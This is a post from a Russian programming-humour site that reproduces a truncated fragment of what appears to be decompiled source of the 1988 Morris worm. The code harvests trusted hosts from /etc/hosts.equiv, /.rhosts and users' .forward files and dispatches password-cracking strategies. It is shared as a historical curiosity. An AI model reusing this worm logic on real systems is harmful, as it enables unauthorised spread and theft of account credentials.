1. C++ / Говнокод #9961

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    /* Dover */
    
    #include "worm.h"
    #include <stdio.h>
    #include <ctype.h>
    #include <strings.h>
    #include <pwd.h>
    
    int cmode;
    extern struct hst *h_name2host();
    
    struct usr {					/* sizeof(usr) == 58 */
        char *name, *o4, *o8, *o12;
        char passwd[14];				/* offset 16 */
        char decoded_passwd[14];			/* 30 */
        short pad;
        char *homedir;				/* offset 46 */
        char *gecos;				/* offset 50 */
        struct usr *next;				/* offset 54 */
    };
    
    /* Ahhh, I just love these names.  Don't change them for anything. */
    static struct usr *x27f28, *x27f2c;
    
    /* Crack some passwords. */
    cracksome()
    {
        switch (cmode){
        case 0:
    	strat_0();
    	return;					/* 88 */
        case 1:
    	strat_1();
    	return;
        case 2:
    	try_words();
    	return;
        case 3:
    	dict_words();
    	return;
        }
    }
    
    /* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
    strat_0()					/* 0x5da4 */
    {
        FILE *hosteq;
        char scanbuf[512];
        char fwd_buf[256];
        char *fwd_host;
        char getbuf[256];
        struct passwd *pwent;
        char local[20];
        struct usr *user;
        struct hst *host;				/* 1048 */
        int check_other_cnt;			/* 1052 */
        static struct usr *user_list = NULL;
    
        hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
        if (hosteq != NULL) {			/* 292 */
    	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
    	    host = h_name2host(scanbuf, 0);
    	    if (host == 0) {
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)		/* 158 */
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);				/* 280 */
        }
    
        hosteq = fopen(XS("/.rhosts"), XS("r"));
        if (hosteq != NULL) {			/* 516 */
    	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
    	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
    		continue;
    	    host = h_name2host(scanbuf, 0);
    	    while (host == 0) {			/* 436, 474 */
    		host = h_name2host(scanbuf, 1);
    		getaddrs(host);
    	    }
    	    if (host->o48[0] == 0)
    		continue;
    	    host->flag |= 8;
    	}
    	fclose(hosteq);
        }
    
        /* look through the passwd file, checking for contact with others every
         * tenth entry. */
        setpwent();
        check_other_cnt = 0;					/* 522 */
        while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
    	if ((check_other_cnt % 10) == 0)
    	    other_sleep(0);
    	check_other_cnt++;
    	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
    	hosteq = fopen(fwd_buf, XS("r"));...

    Запостил: Govnisti_Diavol, 16 Апреля 2012

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